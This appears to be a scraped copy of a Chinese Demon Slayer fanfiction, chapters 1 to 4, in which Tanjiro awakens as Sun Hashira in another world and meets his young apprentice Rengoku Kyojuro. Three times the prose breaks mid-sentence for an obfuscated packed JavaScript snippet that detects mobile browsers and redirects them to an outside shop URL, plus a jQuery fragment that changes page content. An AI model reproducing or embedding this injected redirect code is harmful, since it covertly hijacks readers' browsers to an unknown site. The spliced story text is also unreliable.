《[鬼灭]今天的日柱也在被继子告白》 1. 第 1 章 日轮刀死死地钉着鬼舞辻无惨,刀柄上传来的震颤几乎要将炭治郎的虎口撕裂。 他用尽全身的力气向前压去。 不能松手。 再用力一点。 把这把刀,把这把刀的刀刃烧红。 他能听见自己粗重的喘息声,每一次吸气都像在拉扯着破损的肺叶。 脖颈和手臂上的血管像是要从皮肤下挣脱出来,带来一阵阵鼓胀的痛楚。 温热的液体从身上不知道多少处伤口里涌出来,黏糊糊地浸透了队服。 就在炭治郎感觉自己的手臂快要断掉的时候,另一只手覆了上来,盖在了他的手背上。 一个温热的胸膛贴住了他的后背。 炭治郎的眼角余光向后瞥去,富冈义勇用仅剩的那只手臂,将他整个人圈在了怀里,紧紧地与他一同握住了剑柄。 刀刃在他们的合力之下,终于透出了灼人的赤色。 天边已经泛起了鱼肚白,第一缕阳光即将穿透云层。 能赢! 他们没有交谈,只是在那一刻交换了一个彼此都懂的呼吸,然后将全身的力量灌注到手臂上,对着鬼舞辻无惨的身体狠狠地斩了下去。 “噗——” 鬼舞辻无惨喷出一口黑血。 炭治郎的心脏因为喜悦而紧缩了一下。 可还没等他松一口气,鬼舞辻无惨的身体融化、膨胀,变成了一团不成形的巨大肉块,那肉块蠕动着,最终长成一个骇人的婴儿模样,张开的巨口朝着他们吞噬而来! 不行!要保护义勇先生! 这个念头在炭治郎脑中一闪而过,他仰起头,用后脑勺用力撞向身后人的胸口,将富冈义勇顶了出去。 那巨大的阴影只笼罩了他一个人。 眼前陷入一片漆黑之前,他只听到一声撕心裂肺的呼喊。 “炭治郎!!!” 之后,所有的感知都变得迟钝。 意识像是隔着一层温水,听不清,也看不真切,在混沌中沉浮。 “炭治郎,炭治郎你在想什么?今天可是柱合会议啊,你这样没有精神真的好吗?” 一个熟悉又陌生的声音在他耳边响起,带着几分关切。 炭治郎的眼皮沉重地抬起,映入眼帘的是一片铺着圆润石子的地面,阳光洒在上面,每一颗石头都泛着柔和的光。膝盖下传来硌人的触感,他低下头,发现自己正单膝跪在地上。 他抬起头,庭院中有着修剪整齐的松柏,还有一间看起来很气派的屋子……他来过这里,是产屋敷府邸的后院。 一切都和记忆里一样,可又有什么地方不对劲。 他好像……长高了? 视线比记忆里要高出一截。 炭治郎下意识地看向自己搭在膝盖上的手,那双手骨节分明,也比他印象中的要大上不少。 困惑地转了转头,一缕暗红色的长发从炭治郎的肩头滑落,垂在了胸前。 他伸出那只略显陌生的手,拈起了发梢。 这是……怎么回事? “炭治郎你是不是身体不舒服啊?你真的没有关系吗?要不要回去休息一下,反正现在只有我们四个柱,就算你少参加一次会议也没有什么关系……啊,应该是没有什么关系,我也不知道,反正主公是肯定不会怪你的。” 那个声音又在耳边絮絮叨叨地响了起来。 说话的人声音很熟悉,连这种带着点不自信的说话方式也无比熟悉,但音色似乎比记忆中要成熟了几分。 炭治郎转过头,看到了跪在他身旁的……我妻善逸? 跪在他旁边的青年,那头金色的发丝长了不少,一直垂到腰间,用一根发绳松松地束在脑后。 他身上穿着的,还是那件炭治郎熟悉的、带着三角图案的金色羽织。 他的眉头紧紧地锁着,连带着眼角都有些耷拉下来,那双蜜色的眼睛里全是藏不住的担忧。 炭治郎的眼睛睁大了一些,他有些不确定地喊了一声:“善逸?” “是我没错啊……”善逸应了一声,表情却更加困惑了,“炭治郎,你怎么看起来就好像不认识我了一样?” 炭治郎愣愣地望着他,脑子里一片混乱,不知道该怎么回答。 善逸的眉头皱得更紧了,他干脆凑了过来,摸了一下炭治郎的额头:“炭治郎,你不会真的忘记我了吧?你太过分了!小香奈乎,你看炭治郎!他都忘了我了!我们明明约定过炭治郎要成为我的妻子的!” 能从自己的声音中听出自己不认识他了,这种事情炭治郎倒是不怎么好奇,毕竟那可是善逸的听力。 但是约定成为妻子是什么时候的事情? 而且……香奈乎? 炭治郎的视线顺着善逸的呼喊望了过去。 不远处的树下,站着一个高挑的身影。 她穿着鬼杀队的队服,身形比记忆中修长了许多。 一只凤蝶正停在她的指尖上,随着她微微的动作扇动着翅膀。 看样子香奈乎也长大了。 她听到善逸的喊声,只是朝着他们的方向微微歪了歪头,嘴角弯起一个很浅的弧度,并没有说话。 “你们就没有那样的约定,权八郎可是要成为俺的媳妇的。”一个有些不耐烦的声音在炭治郎身后响起。 这个声音……不会是…… 接连的冲击让炭治郎脑子发懵,他连忙回过头。 一个熟悉到不能再熟悉的野猪头套映入眼帘,头套之下是结实有力的赤裸上身。 伊之助! 突然见到一个和记忆中几乎一模一样的熟人,一股热流不受控制地涌上了炭治郎的眼眶。 太好了……虽然善逸和香奈乎都和记忆里长得不一样了,但是伊之助,伊之助还跟以前一模一样!除了看起来高了点,肌肉多了点,一点区别也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17048785|194775||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 没有! 他这份感动还没来得及酝酿,旁边的善逸就瞪大了眼睛,来回看了看炭治郎,又看了看伊之助,然后一把拽住了炭治郎的衣领,摇晃着他的衣领不可置信道:“炭治郎!!!你看着这只野猪的感动的表情是怎么回事!你不要感动啊!!那是野猪,是野猪!!你未来的丈夫应该是我才对!!” 炭治郎:“?” 炭治郎被他晃得头更晕了,他抬手想去拉开善逸的手,“好了好了,善逸,放开我,我的脑袋晕。” 善逸却没有放过他,依旧喋喋不休地控诉着:“你这个负心汉!见了野猪就忘了我!负心汉就应该切腹才对!” “喂,纹逸,松手,”伊之助伸手抓住了善逸的手腕,“炭治郎现在很难受。” 炭治郎张了张嘴,想说自己没有关系。 如果不这么说的话,下一秒善逸就可能会真的哭出来,到时候只会局面更加难以控制。 谁知善逸出乎炭治郎所料,他深深地吸了一口气,耳畔仿佛有雷霆的声音一闪而过。 只是一个瞬间,善逸就从伊之助的手腕下挣脱了出来,他手中的日轮刀已经出鞘,冰冷的刀刃横在了伊之助的脖子上。 他的脸上没有任何平日里的吵闹表情,一片平静。 “我和炭治郎说话,和你有什么关系?” 伊之助哼了一声,双手握住了背后的刀柄,两把锯齿状的日轮刀瞬间出鞘:“纹逸,你小子一段时间不见就想打架是吧?” “求之不得!”善逸回道。 不,不行,要让他们停下来! “不要打架!”炭治郎喊道。 但是伊之助和善逸根本没有听他的话。 就在伊之助的日轮刀要砍在善逸的手臂上,善逸的刀尖也要刺进伊之助的肩膀上之时,一个年轻女孩清脆的声音响起:“主公来了。” 两人的攻势戛然而止,停在半空中。 他们互相对视了一眼,极不情愿地收起了自己的日轮刀,然后一人一边,重新跪在了炭治郎的左右两边。 炭治郎重重地松了一口气。 站在不远处的香奈乎也走了过来,和他们一起,安静地单膝跪在了地上。 炭治郎抬起头,望向那间屋子。 在两个长得一模一样的白发小女孩的搀扶下,一个身影从屋里走了出来。 是和他记忆中的样子几乎一模一样的产屋敷耀哉。 他在屋檐下的廊道上坐了下来,温和的目光扫过他们。 “我的孩子们,辛苦你们了。” 炭治郎的脑子还是一片混乱,但现在并不是一个询问的好时机。 他只能将满腹的疑问暂且按捺下来。 只听产屋敷耀哉用他那特有的,听起来会让人脑袋轻飘飘的声音继续说道:“这一次的柱合会议,我主要是希望,大家可以找到更加强大的孩子,将他们培养成鬼杀队的队员。” 2. 第 2 章 炭治郎的大脑一片空白。 他举起了手:“主公,我有话想问。” 产屋敷耀哉的目光温和地落在他身上:“炭治郎,你想要问什么?” “现在……只有我们四个柱了吗?”炭治郎问道。 话音刚落,旁边的善逸就用力拽了拽他的羽织。 炭治郎疑惑地望过去,善逸压低了声音,小声的对他说:“你在说什么啊炭治郎,这种事情不要问出来啊。炎柱的大叔因为妻子重病的事情退役了,新的风柱、水柱、岩柱什么的都还没有选出来,啊……就是,那个,你忘了吗?我们上周刚去了炎柱大叔的家里,他家的大儿子才刚十二岁,小儿子还更小,根本没有办法成为新的柱。” 炭治郎愣愣地望着善逸,感觉自己的思绪像是被一团乱麻缠住了:“善逸,你在说什么啊……?水柱,风柱……义勇先生呢?不死川先生呢?还有其他……” 他说到这里,声音突然哽住了。 对了,他们在无限城的时候,那些人……都在和无惨的战斗中牺牲了…… 难道他们在最后没有杀死无惨吗? 所以鬼杀队还存在…… 不,不对,归根究底,他现在到底在什么地方? 自己的年龄明显比以前大了一些,难道是失去了和无惨战斗之后的记忆吗? ……不,也不对,主公明明是为了以自己为诱饵,才让他们有了杀死无惨的机会,是主公掀开了那一战的帷幕。 可为什么,为什么主公现在可以好好地坐在这里? “……炭治郎,炭治郎。” 主公的声音一遍又一遍地呼唤着他的名字,也不知道喊了多少声, 炭治郎一片混乱的大脑才终于回过神,他挺直背脊应了一声:“是!我在!” 伊之助望了明显摸不清状况的炭治郎一眼,手臂忽然从炭治郎的身后穿过,搭在了他另一边的肩膀上,用力将他往自己的方向揽了过来。 炭治郎猝不及防,只觉得眼前一花,野猪头套的鼻子都戳到了自己的脸上。 他下意识地伸手推了一下:“伊之助,太近了。” 伊之助没有理他。 过了好半天,才闷闷地开口:“你是谁?你身上的气息和俺媳妇是一样的,但你又好像不完全是俺媳妇。” 炭治郎:“?” 不,等等,他刚才就想问了。 媳妇? 炭治郎低下头,看了看自己的身体。 他抬起手在胸前摸了摸,是平的。 又在自己的喉咙上摸了摸,有喉结…… 裤子就不脱了。 总之自己确实是男人没错。 “伊之助,你在说什么媳妇?” “啊?炭三郎做饭很好吃,俺爷爷说了,做饭好吃的就要带回山里做媳妇。那权子郎不就是俺媳妇了?” 炭治郎:“……” 无视了伊之助奇怪发言的善逸开了口:“炭治郎,你的声音和之前有一些区别。你是怎么回事……?你说的那个义勇先生和不死川先生又是谁?” “诶?”炭治郎愣了一下,他暂且将其他的事情都抛在了脑后,“义勇先生是鬼杀队的水柱啊,不死川先生是风柱。” 他这话一说出口,旁边的善逸、一直沉默的香奈乎,连带着廊檐下的主公脸上,都流露出了一丝迷茫。 炭治郎看不见野猪头套下的脸,也不知道伊之助表情是什么样子的。 善逸皱着眉,很认真地对炭治郎说:“炭治郎,没有这样的人的。鬼杀队已经只有我们四个,再加上退役的炎柱大叔,我们五个柱……已经当了好几年了。上一任水柱还是鳞泷左近次先生,你说的那些人,我们从来没有听过。” 炭治郎的眼睛瞪大了。 怎么会……那现在到底是怎么回事? “炭治郎,”主公温和的声音再次响起,“你可以说一下你知道的事情吗?” “好的……!”炭治郎应道。 “在我的记忆中,我,善逸和伊之助,只是鬼杀队的普通队员。鬼杀队有九位柱……” 他一边努力回忆,一边将属于自己的那段记忆,从最终选拔到无限城,再到那场惨烈的决战缓缓地说了出来。 等他说完之后,后院中一片寂静,无人说话。只有风吹过树叶的沙沙声。 过了好一会儿,产屋敷耀哉才开口:“我明白了。” 炭治郎抬起头,期盼地望着主公,希望可以从他那里得到一个答案。 产屋敷耀哉:“你可能来自于另外一个世界。在那个世界里,我们在付出了惨痛的代价之后,将鬼舞辻无惨逼入了绝境。但炭治郎,现在这个世界,并不是你原本的世界。我们……对于鬼舞辻无惨……” 他说到这里,有些不好意思地笑了一下,那笑容里带着一丝无奈,“我们现在还没有那个能力,能正面对上鬼舞辻无惨……归根究底,在这个世界,只有你们在场的四位柱而已,你说的那些人,我们并没有听说过。” 炭治郎眨了眨眼,有些难以相信这个结论。 但不相信也没有办法。 或许以后他会知道自己为什么来到这个世界,但现在也没有更好的解释了。 产屋敷耀哉继续说道:“我们现在很缺少战斗力,所以这一次的柱合会议,我本来也是想要你们找到更多有天赋的孩子,将他们培养成新的优秀的鬼杀队的成员,培养成新的柱。” 他说着,突然剧烈地咳嗽了起来,咳得非常用力,整个人都弯下了腰。 “主公!”炭治郎担忧地望着他。 想到在自己那个世界里,为了引出鬼舞辻无惨,毫不犹豫献出了自己生命的主公,炭治郎的心脏都提了起来。 主公是一个很伟大的人,他不希望主公死去。 “主公,请保重身体!” 产屋敷耀哉朝他摆了摆手,等他好不容易平复了呼吸,才重新抬起头,脸上又挂起了那温和的笑容。 “炭治郎。” “是。” “你和我们这个世界的炭治郎,可能是同一个人。也有可能,你只是多了一个世界的记忆……” “但,既来之,则安之。你可以在这个世界,继续做好鬼杀队的工作,做好日柱的工作吗?” 这当然可以。 他是鬼杀队的队员,他要杀死鬼舞辻无惨。 他要让这个世界不存在吃人的恶鬼。 炭治郎挺直了背,回应道:“可以的!” - 柱合会议结束,炭治郎、善逸、伊之助和香奈乎一同离开了产屋敷府邸。 “炭治郎,你真的就这样没有关系吗?”善逸走在他身边,忧心忡忡地问。 炭治郎摇了摇头:“没有关系的,善逸。” “不是那个问题……”善逸的眉头拧成一团,“就是,炭治郎,你在原本的世界还没有当上柱,对吧?” 炭治郎愣了一下,随即点了点头。 善逸的声音更急了:“炭治郎,你在这里……是很强的。我,伊之助,还有小香奈乎加在一起才能勉强和你打成平手。你之前独自出任务的时候,还差点砍下了上弦三的头,最后被他逃跑了。无惨也不知道为什么,好像特别恨你,会在找到你的时候给你使绊子。现在的你……真的没关系吗?” 香奈乎和伊之助也停下了脚步,一同望向炭治郎。 炭治郎认真地思考了一下,“应该……没有什么特别大的关系吧?” 他心里也很清楚,十五岁的自己,确实是比不上现在的不知道多少岁的自己,这的确是个问题。 但可能也不是什么特别大的问题。 只要有足够的锻炼就可以弥补! 伊之助把脸凑了过来,拿野猪头套的鼻子在炭治郎的脸上蹭了蹭。 “太近了,伊之助,太近了!”炭治郎推着他。 “你这只野猪到底想做什么啊!!”善逸炸了毛,“你就不能离炭治郎远一些吗!你不是说炭治郎不是你媳妇了吗,你离他远一点啊你这头野猪!” “少啰嗦!”伊之助回道,“鱼糕郎只是气息不一样了而已,他还是那个炭八郎,你自己不是也知道吗,纹逸。” 善逸“啧”了一声,没再说话。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17048786|194775||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 香奈乎望着炭治郎,轻声问:“没关系吗?” 炭治郎对她点了点头:“没关系的。” 香奈乎也点了点头,然后就转身走了。 善逸有点发愣:“等等,小香奈乎,你就这么走了吗小香奈乎?” 香奈乎的声音从前面传来:“没有关系的,炭治郎还是炭治郎。”她丢下这句话,头也不回地走了。 善逸:“?” 伊之助也把日轮刀往肩上一扛,说:“俺还有任务,过几天回来再说。”他说着,抬手用手指着炭治郎,“炭糕郎!俺要吃天妇罗!” “好的,我知道了,一路顺风。”炭治郎应道。 伊之助发出一阵响亮的笑声,喊着“猪突猛进”就跑远了。 善逸:“?” 炭治郎转过头,看着他:“怎么了吗?善逸?” “你们三个怎么都这么淡定啊!!!”善逸终于爆发了,他一把拽住炭治郎的衣领来回晃,“显得我好像小丑啊!!!你们怎么回事啊!!这种换了个世界,突然出现在其他地方的事情难道不让人害怕吗!啊!!想想就觉得好可怕!我根本接受不了这种事情!你为什么能接受的了啊混蛋!!!” 炭治郎被他晃得头晕眼花,连忙抓住善逸的手:“不要晃我了善逸……” 善逸停了下来,但脸上还是写满了担心和惊恐。 善逸还是那个善逸,是那个温柔的会相信所有人,对所有人都散发善意的善逸。 炭治郎看着他,脸上露出了一个温和的笑容:“这是没有办法改变的事情,那么就只能接受,不是吗?” 善逸呆愣地看着他。 几秒后,他的脸颊腾地一下红了。 他松开了炭治郎的衣领,转而紧紧握住了炭治郎的双手,眼睛里闪着光。 “对,确实没有办法改变。”善逸一脸认真地说,“炭治郎会成为我的妻子也是没有办法改变的事情!炭治郎,我们现在就去结婚!” 炭治郎:“?” 啊这么一说,自己还有一点在意的事情。 善逸为什么会想要跟自己结婚? 在这个世界也是,在原本的世界也是。善逸不是应该喜欢可爱的女孩子吗? 像祢豆子那样的。 抱着这个疑问,炭治郎开口问道:“善逸,你知道祢豆子吗?” “知道啊,”善逸点了点头,一脸理所当然,“你妹妹不就是祢豆子吗?她现在在藤之家帮忙,你的家人时不时还会来看你们呢。” 炭治郎走路的步伐停住了。 他的嘴唇微微张开,喃喃地重复着那个词:“我的……家人?” 善逸没注意到他的异样,顺手在路边的点心店买了两串酱油团子。 他自己咬下了一颗,然后将另外一串递给了炭治郎:“对啊,你的家人,五个弟弟妹妹,还有爸爸妈妈。” 炭治郎呆呆地接过那串还温热的酱油团子,他感觉自己的手都在发抖。 “我的家人……他们还活着?”他的声音很轻,像是在确认一个不可能的梦。 “你在说什么啊,炭治郎,”善逸奇怪地看着他,“当然还活着啊,这件事情很出名的。你在十三岁的时候和父亲通力合作逼走了去你家袭击的无惨,之后天音夫人去你们家,希望你们加入鬼杀队。你的父亲炭十郎先生以年纪太大而且身体不好拒绝了,但你却义无反顾地加入了鬼杀队。因为担心你,所以小祢豆子才来了藤之家帮忙……” 炭治郎的呼吸停滞了下来,他有些不敢相信的耳朵,“我的父亲……他的身体只是不好吗?” “对啊,”善逸点头,“不过你曾经和我说过,你认识了一位医生,那个医生帮你治好了炭十郎先生的病。之后他虽然身体依旧不太好,但你说他会慢慢地恢复健康的……” 善逸的话还没说完,就看到炭治郎的眼泪大颗大颗地滚落下来,砸在了手中的团子上。 他瞬间慌了手脚,一把丢掉自己的团子,手忙脚乱地想去擦炭治郎的眼泪。 “炭治郎你怎么哭了?你不要哭啊炭治郎!!是我的错,我不应该说这些话的!!!” 3. 第 3 章 之后的一段时间,炭治郎在善逸和香奈乎的帮助下,总算慢慢适应了身为柱的工作。 伊之助没有帮上什么忙,因为他除了战斗和吃饭之外,脑子里似乎没有其他事情。 这个在炭治郎的意料之中。 炭治郎偶尔还会投喂给做任务回来的伊之助一些食物。 天妇罗之类的。 伊之助吃的很开心。 比起普通队员那种高强度的杀鬼任务,他们这些柱现在最主要的工作,是找到合适的继子将他们培养成新的柱。 “香奈乎想要什么样的继子?”炭治郎好奇地问。 坐在廊下的香奈乎闻言,只是转过头对他笑了笑,没有说话。 炭治郎歪了歪头,善逸凑过来说:“炭治郎,不要管小香奈乎啦,她有自己的节奏。” “……?” 炭治郎又问:“那善逸想要什么样的继子?” “我没有想好啊……”善逸立刻皱起了眉,一脸苦恼,“我都没有想好要不要收继子。我自己都还没有学会雷之呼吸的二之型到六之型,收了个继子的话,继子嫌弃我怎么办?啊……不要啊好可怕,想想就好可怕。” 炭治郎笑着说:“不要那么想,善逸很厉害的,一定可以的。” “不要以为你这么说我就会开心,你这个家伙!”善逸的脸颊红了一大片。 这不是挺开心的吗? 炭治郎干笑了一下。 “说起来,”善逸忽然想起了什么,“炎柱的大叔的儿子也要加入鬼杀队了,你们知道吗?” 炭治郎和香奈乎一同望了过去。炭治郎问:“炎柱的大叔是?” “诶?”善逸有些意外,“就是炼狱大叔啊,炎柱一直都是他们家的。他的妻子重病,在你——”善逸指了指炭治郎,“的要求之下,他退役去带妻子看病了,好像最近有了好转。” 炼狱的大叔……说的是炼狱杏寿郎吧? 在这个世界,他的家人都还活着,炼狱大哥也活下来了…… 真是太好了。 炭治郎忍不住笑了起来。 “哇……炭治郎,”善逸看着他的脸,小声说,“你笑得像是在哭,但是又好像很幸福的样子。你在原来的世界是不是过得很苦啊……不过真奇怪,我们第一次见到你的时候,你也是一副想要哭的表情。” “有吗?”炭治郎有些讶异。 旁边的香奈乎也点了点头。 炭治郎疑惑地摸了摸自己的脸,“可能是因为看到大家都好好的,所以开心吧。” 善逸还想说些什么,一只漆黑的鎹鸦突然从窗户外飞了进来,重重地落在了桌子上。 “炭治郎!任务!任务!” 炭治郎定睛一看:“我的鎹鸦还是你吗?天王寺。” 天王寺跳起来,在炭治郎的额头上用力啄了一下:“笨蛋!不是本大爷还会是谁!” “会疼的,天王寺!”炭治郎捂着头抗议。 天王寺落回桌子上,扯着嗓子喊:“炭治郎!野方村!有鬼出没!!和继子汇合!” 炭治郎反射性条件的站直了身体,神情严肃:“是!” 他应完,过了几秒才反应过来,迟疑地问:“……继子是谁?有这个名字的队员吗?” “笨蛋!是你的继子!!”天王寺又想去啄他。 炭治郎的瞳孔都放大了,他震惊地望着善逸和香奈乎:“我有继子吗????” 善逸和香奈乎相互看了一眼。 善逸突然“啊”了一声,像是想起了什么。 “之前炎柱大叔说,他的大儿子要给你当继子了!” 炭治郎:“???” 这么重要的事情为什么你忘了啊!!! - 在天王寺不停用脑袋啄人的催促下,炭治郎迅速收拾好了东西准备出任务。 好在鬼杀队队员出门通常只需要带上日轮刀就够了,也没有什么其他的东西要准备的。 拿着自己的刀,炭治郎快步朝着门外跑去。 临走之前,他回头对院子里的善逸和香奈乎喊道:“麻烦你们帮忙照顾一下祢豆子!我出去一段时间马上就回来!” 善逸挥手:“我知道了!我会照顾好小祢豆子的,你放心好了!” “谢谢!”炭治郎喊了一声,被人……被鸦一路催促着上了火车。 直到火车开动,天王寺才终于停止了摧残他脑袋的行为。 炭治郎松了一口气,终于有机会询问:“天王寺,我的继子叫什么名字啊?” 天王寺翅膀一挥,不耐烦地说:“笨蛋!我怎么知道!”说完就从车窗飞走了。 炭治郎:“……” 算了,反正到了就知道了。 野方村在东京府丰多摩郡。 炭治郎下火车的时候,并没有在站台看到穿着熟悉队服的人。 他没有多做停留,找人问好了路辨明了方向后,朝着野方村快步走去。 既然已经发现了恶鬼,就要以最快的速度赶到现场!只有这样才能最大限度地减少人们的不幸! 至于继子的事情…… 之后总能看到的,不用急。 - 野方村,夜晚。 富冈茑子跪坐在榻榻米上,她正小心翼翼地把明天要在婚礼上穿的衣服叠好,旁边放着一把小小的描金折扇和几支样式简单的花簪。 富冈义勇拽着姐姐的袴裙一角,安安静静地坐在一旁。 他明明一脸不舍,却只是固执地拽着姐姐的衣服,低着头,一句话也不说。 茑子察觉到弟弟的情绪,停下手里的动作,温柔地摸了摸他的头:“姐姐以后还住在隔壁,我们还是每天都能见到的。” 义勇摇了摇头,还是死死拽着茑子的衣服不放。 茑子没有办法,只能转过头,朝他伸出了自己的小指:“义勇,我们约定。无论发生了什么,义勇都是我心中最重要的存在,我永远不会抛弃义勇的,好吗?” 义勇低垂的眼睛动了动,他犹豫了一下,终于也伸出了自己的小指,勾住了姐姐的手指。 “……说定了。” 茑子的眉眼弯了起来,像一轮温柔的新月:“嗯!说定了。” 屋内的煤油灯灯火摇曳了一下。 玄关外传来了“叩、叩、叩”的敲门声。 茑子疑惑地望向门外,自言自语道:“奇怪,这个时间怎么会有人敲门……已经很晚了啊。” 义勇望着那扇门,不知道为什么,他的心里升起一股寒意,下意识的,义勇抓紧了茑子的衣服,小声喊道:“姐姐……” 茑子将手覆盖在义勇冰凉的手背上,对着他摇了摇头,轻声说:“不要担心。” 她说着,目光警惕地又望了一眼门外,很快做出了决定。 她去看看门口是怎么回事。 拉着义勇的胳膊,茑子将他带到了衣柜前,打开柜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17048787|194775||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 门把他塞了进去。 “姐姐去开门,如果有什么危险的话,一定不要出来,知道了吗?” 义勇抓着茑子的衣袖,拼命摇头,眼角已经挂上了泪珠:“不要……我害怕,姐姐。” 茑子摸了摸他的头,“不要害怕,姐姐不会有事的。” 她说完,就将衣柜的门拉上了,转身走向玄关。 越是靠近玄关,茑子的心跳就越快,她的额头上渗出了细密的汗珠,不自觉地吞咽了一下。 门外那个听着就让人不舒服的男声再次响起:“有人吗?” 茑子没有说话。她看到玄关旁边放着的劈柴斧头,抓了起来,小心翼翼地屏住呼吸,站在了门边。 - “轰!” 一声巨响吓得躲在衣柜里的义勇猛地抬起了头。他遵循着姐姐的话,嘴巴张着,却不敢发出一点声音。 “啊?只有一个小丫头吗?开什么玩笑,我以为这一家会有好几个人呢,我都饿了一个晚上了。”那个粗嘎的男声不耐烦地说道。 “喂,小丫头,你的家人呢?” “……我没有家人,我的爸爸妈妈早已经不在了,只有我一个人生活……”茑子虚弱的声音传到了义勇的耳中。 他想要出去,但身体却像被钉住一样发软,根本动不了。 眼泪一滴一滴地控制不住地往下流,身体不住地颤抖。 他好害怕……这样不行,一定要出去,他要保护姐姐! 义勇无声地抽噎着,他试图拉开衣柜的门,却发现根本拉不动。 为什么……为什么会拉不动? 是姐姐用东西把门堵住了吗? 不要,不要…… “那这样的话就没有办法了,看来只能吃了你了。不过没有关系,吃了你之后我还能再去找下一家人。”那个声音说道。 义勇抬起了头,死死地望着衣柜的木门。 他咬紧了牙关,用尽全身的力气撞了上去。 木门被富冈义勇撞开,他一出来就看到,已经熄灭了的煤油灯下,一个狰狞得不能被称为人的生物正朝着他的姐姐扑去! “姐姐!!!!!”富冈义勇喊道! “笨……不要出来啊!”茑子满脸的惊恐。 “啊啊啊啊啊!!”富冈义勇大喊着,像是在给自己壮胆,他抓起旁边的小木桌就朝着那只鬼砸去。 木桌砸在鬼的身上应声而碎,鬼也抬起了手,不耐烦地将富冈义勇扇飞,重重地撞在了墙上。 “哦?这里还有一个小孩啊,小孩的肉更嫩一些,这样才对嘛……我的运气果然还是很好。” 富冈义勇倒在地上,他的头顶被撞破了,温热的液体不住地往下流。 鬼朝他走了过来,他想要站起来,但是身体却不听使唤。 啊……自己应该要死在这里了。 神啊……求求你们。 让我的姐姐活下来。 我的姐姐明天就要结婚了。 没有我的话,她可能会更加幸福。 富冈义勇闭上了眼睛。 “水之呼吸,壹之型·水面斩!” 一个清朗的男声出现在了富冈义勇的耳畔。 他睁开了眼睛,借着从破开的窗户外洒进来的月光,看到了一个有着暗红色长发,耳边挂着日轮耳饰的剑士。 对方手中长刀划过,鬼的脖颈便与身体分离开来,在半空中翻滚着,重重地落在了地上。 4. 第 4 章 这只鬼连血鬼术都没有,只是最普通的鬼。 炭治郎将日轮刀收回了刀鞘中。 房间中弥漫着的血腥味窜入炭治郎的鼻腔之中,他快步走到还有意识的姐姐面前,蹲下了身子,问道:“您还好吗?” 茑子的脸上还挂着泪水,她愣愣地望着眼前的青年。 对方看起来比自己还要小一点…… 而且,他身上散发出的气息……是一个Omega? 一个Omega剑士? 炭治郎又喊了她一句,她才回过神来,哽咽着说自己没事。 炭治郎松了一口气,转身快步走到倒下的男孩身边。 在稍作检查后,炭治郎的眉头皱了起来。 这个孩子的状态很不好,脑袋受到了重击,血流不止。 如果不快点进行紧急治疗,一定会死的。但他身上并没有带伤药,要怎么办…… “师父!很抱歉我来迟了!” 一个清亮的少年音在房间门口响起。 炭治郎望去,只见一个穿着鬼杀队队服的少年站在门口。 对方的火焰一般的头发和金黄色眼睛太有标志性了。 只一眼就能认出这孩子的父亲是谁。 “没有关系……你有带伤药和绷带吗?这个孩子很危险!” “有的!师父!”少年应道。 他说着,就从怀里拿出了绷带和伤药,快步跑过来递给了炭治郎。 炭治郎接过东西,迅速帮怀里的黑发少年简单包扎了一下头部,这才稍微松了口气。 在这段时间里,那个金红色发色的少年也已经帮旁边的女性处理好了手臂上的伤口。 他做完这一切,便在炭治郎的身边端正地坐了下来,一双金色的眼睛目光灼灼,脸上带着灿烂的笑容望着炭治郎。 炭治郎忙完了之后和他对上了眼睛,有些疑惑。 明明炼狱槙寿郎先生和他的两个孩子的性格各不一样,但炼狱杏寿郎先生的这个儿子,倒是看起来和杏寿郎先生本人很像呢…… 这样的话他们一家在家里的时候会是什么场景……? 炼狱槙寿郎会不会在带孙子的时候觉得儿子也很吵孙子也很吵? 啊,这么一说,这孩子叫什么名字? 炭治郎开口问道:“之前还没有来得及问,你的名字是……?” 少年挺直了背脊,回答道:“是!!师父!我的名字叫做炼狱杏寿郎!” 炭治郎:“……啊?” - 抱着昏迷着的黑发少年,炭治郎坐在摇晃的人力拉车里。 他的左边是炼狱杏寿郎,右边是少年的姐姐。 他脸上的表情看似淡定,实际上意识已经走了有一会了。 炼狱杏寿郎? 啊? 炼狱大哥? 啊??? 炭治郎僵硬地转过头,望着那个双手环胸、目光笔直向前的少年,干巴巴地开口:“炼狱先生……” 炼狱杏寿郎转头,目光炯炯地看着他:“师父!请喊我杏寿郎!” 炭治郎和他对视着,那双金色的眼睛里充满了真诚和热情。 他迟疑了几秒,他问道:“杏寿郎……你今年多大?” “十二岁!”杏寿郎的声音洪亮有力。 炭治郎:“……” 才十二岁……自己正式加入鬼杀队的时候也已经十五岁了,现在的炼狱先生是不是太年轻了一些? 他的话没有说出口,但纠结的表情已经完全表现在了脸上。 